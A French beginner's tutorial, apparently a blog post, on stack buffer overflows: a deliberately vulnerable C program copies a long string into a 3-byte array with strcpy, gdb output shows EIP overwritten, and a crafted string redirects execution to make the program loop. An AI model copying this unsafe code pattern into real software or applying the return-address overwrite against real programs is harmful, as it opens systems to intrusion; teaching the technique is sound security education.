Près de la moitié des failles de sécurité connues sont dues à des buffer overflow. Les buffer overflow exploitent une défaillance dans le code d’une application qui n’alloue pas un espace mémoire assez grand pour l’utilisation qui va en être faite. Le C par exemple permet de copier 1024 octets dans un tableau de 512 octets avec des fonctions comme strcpy(char *dest, const char *src), strcat(char *dest, const char *src), gets(char *s), etc.
Il s’agit donc d’une erreur humaine du développeur qui n’a pas fait assez attention à ses allocations de mémoire. Remarquons que ce type de problème ne peut pas survenir avec des langages plus évolués type Java.
Ce tutoriel sera en fait 3 tutoriels pour 3 articles différents, de niveaux différents. Celui ci sera consacré à la création d’un buffer overflow simple. Ce tutoriel est valable pour les processeurs Pentuim 32 bits les plus courants.
Création d’un programme sensible
On va utiliser le C pour nous faire un petit programme qui va écraser une zone mémoire bien particulière. On sait déjà que la fonction strcpy est sensible. Voici un code qui met les pieds dans le plat en plantant avec une "segmentation fault". Et qui dit "segmentation fault" dit possibilité de buffer overflow exploitable (car en soit, une segmentation fault est déjà un buffer overflow, mais pas forcement exploitable).
/* buf.c */
#include <stdio.h>
#include <string.h>
void t(){
char tmp[3];
char code[]="AAAAAAAAAAAAAAAAAAAAAA";
strcpy(tmp,code);
}
int main(){
t();
return 0;
}
Analyse : Le programme essaie de copier la chaîne "AAAAAAAAAAAAAAAAAAAA" de 20 caractères dans un tableau de 3 caractères. Évidement cela ne fonctionne pas,on a une segmetation fault :
% gcc buf.c -o buf
% ./buf
zsh: segmentation fault ./buf
Regardons de plus près ce qu’il se passe :
% gdb ./buf
GNU gdb 6.6.90.20070912-debian
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/i686/cmov/libthread_db.so.1".
(gdb) r
Starting program: /home/benji/workspace/buffover/buf
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Gdb nous indique que le registre EIP contenant l’adresse de la prochaine instruction à traiter accède à une zone mémoire non autorisée : 0x41414141. Or, 0x41 est le code hexadécimal pour la lettre A. On a donc réussi a placer nos A dans le registre EIP !
Essayons de trouver quels ’A’ ont été pris en compte, par tâtonnement :
| chaîne | valeur @ EIP |
|---|---|
| "AAAAAAAAAAAAAAAAAAAA" (20x’A’) | 0x41414141 |
| "AAAAAAAAAA" (10x’A’) | 0x00414141 |
| "AAAAAAAAAAA" (11x’A’) | 0x41414141 |
| "AAAAAAABBBB" | 0X42424242 |
On voit que 11 caractères suffisent à écraser la valeur du registre EIP par les 4 derniers caractères de la chaîne. Ceci nous permet d’exécuter du code à un endroit arbitraire dans la mémoire du processus !
Comment l’utiliser ? Nous allons faire boucler le programme, juste en changeant les valeurs de la chaîne de caractères. Pour cela, on va revenir au "CALL" de la fonction à chaque fois que le strcpy sera exécuté. Regardons les adresses de notre programme sous gdb :
(gdb) disas main
Dump of assembler code for function main:
0x080483a6 <main+0>: lea 0x4(%esp),%ecx
0x080483aa <main+4>: and $0xfffffff0,%esp
0x080483ad <main+7>: pushl -0x4(%ecx)
0x080483b0 <main+10>: push %ebp
0x080483b1 <main+11>: mov %esp,%ebp
0x080483b3 <main+13>: push %ecx
0x080483b4 <main+14>: sub $0x4,%esp
0x080483b7 <main+17>: call 0x8048374 <t>
0x080483bc <main+22>: mov $0x0,%eax
0x080483c1 <main+27>: add $0x4,%esp
0x080483c4 <main+30>: pop %ecx
0x080483c5 <main+31>: pop %ebp
0x080483c6 <main+32>: lea -0x4(%ecx),%esp
0x080483c9 <main+35>: ret
End of assembler dump.
L’instruction "CALL" de la fonction t() est à l’adresse 0x080483b7. C’est donc cette adresse que nous allons essayer de placer dans EIP. Ainsi, le programme va constamment appeler la fonction t() et bouclera.
Reprenons notre chaîne "AAAAAAABBBB" et faisons encore quelques tests :
| chaîne | valeur @ EIP |
|---|---|
| "AAAAAAABBBB" | 0X42424242 |
| "AAAAAAABCDE" | 0x45444342 |
| "AAAAAAABCD\x08" | 0X08444342 |
| "AAAAAAA\xb7\x83\x04\x08" | pas de seg fault ! |
Bingo ! Le CPU monte à 100%, le programme tourne en boucle. On a donc bien placé l’adresse 0x080483b7 dans le registre EIP, et comme cette adresse est une adresse valide et autorisée (le programme a le droit d’accéder à sa propre zone mémoire), le programme ne fait pas de segmentation fault et exécute la prochaine instruction.
Voila, c’est tout pour ce premier pas vers l’exploitation de buffer overflow. Nous étudierons un autre jour comment les exploiter pour ouvrir un shell.